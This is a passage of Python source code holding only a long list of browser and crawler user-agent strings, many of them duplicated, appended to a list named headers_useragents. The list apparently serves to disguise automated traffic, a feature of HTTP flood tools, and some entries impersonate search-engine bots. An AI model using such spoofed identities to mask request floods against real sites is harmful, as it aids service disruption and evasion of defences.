  1969.     headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25')
  1970.     headers_useragents.append('Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2')
  1971.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10')
  1972.     headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3')
  1973.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27')
  1974.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1975.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1976.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1977.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1978.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1979.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1980.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1981.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1982.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1983.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1984.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1985.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1986.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1987.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1988.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1989.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1990.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1991.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1992.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1993.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1994.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1995.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1996.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1997.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1998.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1999.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2000.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2001.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2002.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2003.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2004.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2005.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2006.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2007.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2008.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2009.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2010.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2011.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2012.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2013.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2014.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2015.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2016.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2017.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2018.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2019.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2020.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2021.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2022.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2023.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2024.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2025.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2026.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2027.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2028.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2029.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2030.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2031.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2032.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2033.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2034.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2035.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2036.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2037.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2038.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2039.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2040.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2041.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2042.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2043.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2044.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2045.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2046.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2047.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2048.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2049.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2050.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2051.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2052.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2053.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2054.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2055.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2056.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2057.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2058.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2059.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2060.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2061.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2062.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2063.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2064.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2065.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2066.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2067.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2068.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2069.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2070.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2071.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2072.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2073.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2074.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2075.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2076.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2077.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2078.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2079.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2080.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2081.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2082.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2083.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2084.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2085.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2086.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2087.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2088.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2089.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2090.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2091.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2092.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2093.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2094.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2095.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2096.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2097.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2098.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2099.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2100.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2101.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2102.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2103.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2104.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2105.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2106.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2107.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2108.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2109.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2110.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2111.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2112.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2113.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2114.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2115.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2116.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2117.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2118.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2119.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2120.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2121.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  2122.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  2123.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  2124.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  2125.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  2126.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2127.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2128.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  2129.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  2130.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  2131.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  2132.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  2133.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2134.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2135.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2136.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2137.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  2138.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2139.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  2140.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  2141.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  2142.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  2143.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2144.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  2145.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  2146.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  2147.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  2148.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  2149.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  2150.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  2151.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  2152.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  2153.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  2154.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  2155.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2156.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2157.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  2158.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  2159.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  2160.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
